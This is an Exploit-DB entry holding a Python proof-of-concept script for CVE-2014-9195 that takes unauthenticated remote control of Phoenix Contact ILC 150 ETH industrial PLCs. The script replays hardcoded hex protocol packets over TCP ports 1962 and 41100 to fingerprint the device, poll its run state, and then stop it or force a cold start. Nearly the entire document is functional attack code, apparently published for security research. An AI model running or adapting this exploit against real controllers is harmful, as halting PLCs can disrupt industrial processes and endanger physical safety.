Phoenix Contact ILC 150 ETH PLC - Remote Control Script

EDB-ID:

37066


Author:

Photubias

Type:

remote


Platform:

Hardware

Date:

2015-05-20


Become a Certified Penetration Tester

Enroll in Penetration Testing with Kali Linux , the course required to become an Offensive Security Certified Professional (OSCP)

GET CERTIFIED

#! /usr/bin/env python
'''
    # Exploit Title: Phoenix Contact ILC 150 ETH PLC Remote Control script
    # Date: 2015-05-19
    # Exploit Author: Photubias - tijl[dot]deneut[at]howest[dot]be
    # Vendor Homepage: https://www.phoenixcontact.com/online/portal/us?urile=pxc-oc-itemdetail:pid=2985330
    # Version: ALL FW VERSIONS
    # Tested on: Python runs on Windows, Linux
    # CVE : CVE-2014-9195

    Copyright 2015 Photubias(c)

    Written for Howest(c) University College

    This program is free software: you can redistribute it and/or modify
    it under the terms of the GNU General Public License as published by
    the Free Software Foundation, either version 3 of the License, or
    (at your option) any later version.

    This program is distributed in the hope that it will be useful,
    but WITHOUT ANY WARRANTY; without even the implied warranty of
    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
    GNU General Public License for more details.

    You should have received a copy of the GNU General Public License
    along with this program.  If not, see <http://www.gnu.org/licenses/>.

File name ControlPLC.py
written by tijl[dot]deneut[at]howest[dot]be
This POC will print out the current status of the PLC, continuously every 0.1 second, after 3 seconds it reverts (start becomes stop, stop becomes cold start), and stops after 5 seconds
Works on ILC 15x ETH, partly on RFC 43x, partly on ILC 39x
'''
import sys, socket, binascii, time, os, select, re

IP=''
infoport=1962
controlport=41100


## Defining Functions First
def send_and_recv(s,size,strdata):
    data = binascii.unhexlify(strdata) ## Convert to real HEX (\x00\x00 ...)
    s.send(data)
    ret = s.recv(4096)
    return ret

def doAction(s,strdata):
    ret = send_and_recv(s,1000,strdata)
    # In official state these are send, they do not seem to be needed
    send_and_recv(s,1000,packet1)
    send_and_recv(s,1000,packet2)
    send_and_recv(s,1000,packet2)
    ret = send_and_recv(s,1000,'010002000000020003000100000000000840')
    send_and_recv(s,1000,packet2)
    return ret

def initMonitor(s):
    send_and_recv(s,1000,'0100000000002f00000000000000cfff4164652e52656d6f74696e672e53657276696365732e4950726f436f6e4f53436f6e74726f6c536572766963653200')
    send_and_recv(s,1000,'0100000000002e0000000000000000004164652e52656d6f74696e672e53657276696365732e4950726f436f6e4f53436f6e74726f6c5365727669636500')
    send_and_recv(s,1000,'010000000000290000000000000000004164652e52656d6f74696e672e53657276696365732e49446174614163636573735365727669636500')
    send_and_recv(s,1000,'0100000000002a00000000000000d4ff4164652e52656d6f74696e672e53657276696365732e49446576696365496e666f536572766963653200')
    send_and_recv(s,1000,'010000000000290000000000000000004164652e52656d6f74696e672e53657276696365732e49446576696365496e666f5365727669636500')
    send_and_recv(s,1000,'0100000000002500000000000000d9ff4164652e52656d6f74696e672e53657276696365732e49466f726365536572766963653200')
    send_and_recv(s,1000,'010000000000240000000000000000004164652e52656d6f74696e672e53657276696365732e49466f7263655365727669636500')
    send_and_recv(s,1000,'0100000000003000000000000000ceff4164652e52656d6f74696e672e53657276696365732e4953696d706c6546696c65416363657373536572766963653300')
    send_and_recv(s,1000,'010000000000300000000000000000004164652e52656d6f74696e672e53657276696365732e4953696d706c6546696c65416363657373536572766963653200')
    send_and_recv(s,1000,'0100000000002a00000000000000d4ff4164652e52656d6f74696e672e53657276696365732e49446576696365496e666f536572766963653200')
    send_and_recv(s,1000,'010000000000290000000000000000004164652e52656d6f74696e672e53657276696365732e49446576696365496e666f5365727669636500')
    send_and_recv(s,1000,'0100000000002a00000000000000d4ff4164652e52656d6f74696e672e53657276696365732e4944617461416363657373536572766963653300')
    send_and_recv(s,1000,'010000000000290000000000000000004164652e52656d6f74696e672e53657276696365732e49446174614163636573735365727669636500')
    send_and_recv(s,1000,'0100000000002a00000000000000d4ff4164652e52656d6f74696e672e53657276696365732e4944617461416363657373536572766963653200')
    send_and_recv(s,1000,'0100000000002900000000000000d5ff4164652e52656d6f74696e672e53657276696365732e49427265616b706f696e745365727669636500')
    send_and_recv(s,1000,'0100000000002800000000000000d6ff4164652e52656d6f74696e672e53657276696365732e4943616c6c737461636b5365727669636500')
    send_and_recv(s,1000,'010000000000250000000000000000004164652e52656d6f74696e672e53657276696365732e494465627567536572766963653200')
    send_and_recv(s,1000,'0100000000002f00000000000000cfff4164652e52656d6f74696e672e53657276696365732e4950726f436f6e4f53436f6e74726f6c536572766963653200')
    send_and_recv(s,1000,'0100000000002e0000000000000000004164652e52656d6f74696e672e53657276696365732e4950726f436f6e4f53436f6e74726f6c5365727669636500')
    send_and_recv(s,1000,'0100000000003000000000000000ceff4164652e52656d6f74696e672e53657276696365732e4953696d706c6546696c65416363657373536572766963653300')
    send_and_recv(s,1000,'010000000000300000000000000000004164652e52656d6f74696e672e53657276696365732e4953696d706c6546696c65416363657373536572766963653200')
    send_and_recv(s,1000,'0100020000000e0003000300000000000500000012401340130011401200')
    return

def is_ipv4(ip):
	match = re.match("^(\d{0,3})\.(\d{0,3})\.(\d{0,3})\.(\d{0,3})$", ip)
	if not match:
		return False
	quad = []
	for number in match.groups():
		quad.append(int(number))
	if quad[0] < 1:
		return False
	for number in quad:
		if number > 255 or number < 0:
			return False
	return True

##### The Actual Program
if not len(sys.argv) == 2:
        IP = raw_input("Please enter the IPv4 address of the Phoenix PLC: ")
else:
        IP = sys.argv[1]
        
if not is_ipv4(IP):
	print "Please go read RFC 791 and then use a legitimate IPv4 address."
	sys.exit()
	
## - initialization, this will get the PLC type, Firmware version, build date & time
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect((IP,infoport))

print 'Initializing PLC'
print '----------------'
code = send_and_recv(s,1000,'0101001a005e000000000003000c494245544830314e305f4d00').encode('hex')[34:36]
send_and_recv(s,1000,'01050016005f000008ef00' + code + '00000022000402950000')
ret = send_and_recv(s,1000,'0106000e00610000881100' + code + '0400')
print 'PLC Type  = ' + ret[30:50]
print 'Firmware  = ' + ret[66:70]
print 'Build     = ' + ret[79:100]
send_and_recv(s,1000,'0105002e00630000000000' + code + '00000023001c02b0000c0000055b4433325d0b466c617368436865636b3101310000')
send_and_recv(s,1000,'0106000e0065ffffff0f00' + code + '0400')
send_and_recv(s,1000,'010500160067000008ef00' + code + '00000024000402950000')
send_and_recv(s,1000,'0106000e0069ffffff0f00' + code + '0400')
send_and_recv(s,1000,'0102000c006bffffff0f00' + code)

s.shutdown(socket.SHUT_RDWR)
s.close()
print 'Initialization done'
print '-------------------\r\n'
print 'Will now print the PLC state and reverse it after 3 seconds'
raw_input('Press [Enter] to continue')

########## CONTROL PHASE ####### Start monitoring with loop on port 41100
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect((IP,controlport))
# First init phase (sending things like 'Ade.Remoting.Services.IProConOSControlService2' and 'Ade.Remoting.Services.ISimpleFileAccessService3', 21 packets)
initMonitor(s)
# Query packet
packet1 = '010002000000080003000300000000000200000002400b40'
# Keepalive packet
packet2 = '0100020000001c0003000300000000000c00000007000500060008001000020011000e000f000d0016401600'
## The loop keepalive and query status loop (2 x keepalive, one time query):
i = 0
state = 'On'
running = 0
stopme = 0
startme = 0
while True:
    i += 1
    time.sleep(0.1)
    ## Keep Alive
    send_and_recv(s,1000,packet2)
    send_and_recv(s,1000,packet2)

    ## Possible actions (like stop/start) should be sent now before the query state
    if (state == 'Running' and stopme):
        print 'Sending Stop'
        doAction(s,'01000200000000000100070000000000')
        startme = stopme = 0
    elif (state == 'Stop' and startme):
        print 'Sending COLD Start'
        ## This is the COLD start: doAction(s,'010002000000020001000600000000000100')
        ## This is the WARM start: doAction(s,'010002000000020001000600000000000200')
        ## This is the HOT  start: doAction(s,'010002000000020001000600000000000300')
        doAction(s,'010002000000020001000600000000000100')
        startme = stopme = 0    

    ## Query Status
    ret = send_and_recv(s,1000,packet1).encode('hex')
    if ret[48:50] == '03':
        state = 'Running'
    elif ret[48:50] == '07':
        state = 'Stop'
    elif ret[48:50] == '00':
        state = 'On'
    else:
        print 'State unknown, found code: '+ret.encode('hex')[48:50]
    print 'Current PLC state: '+state
    
    ## Maintaining the LOOP
    if i == 50:
        break
#   '''
    if i == 30:
        if state == 'Running':
            stopme = 1
        else:
            startme = 1
    #'''
raw_input('All done, press [Enter] to exit')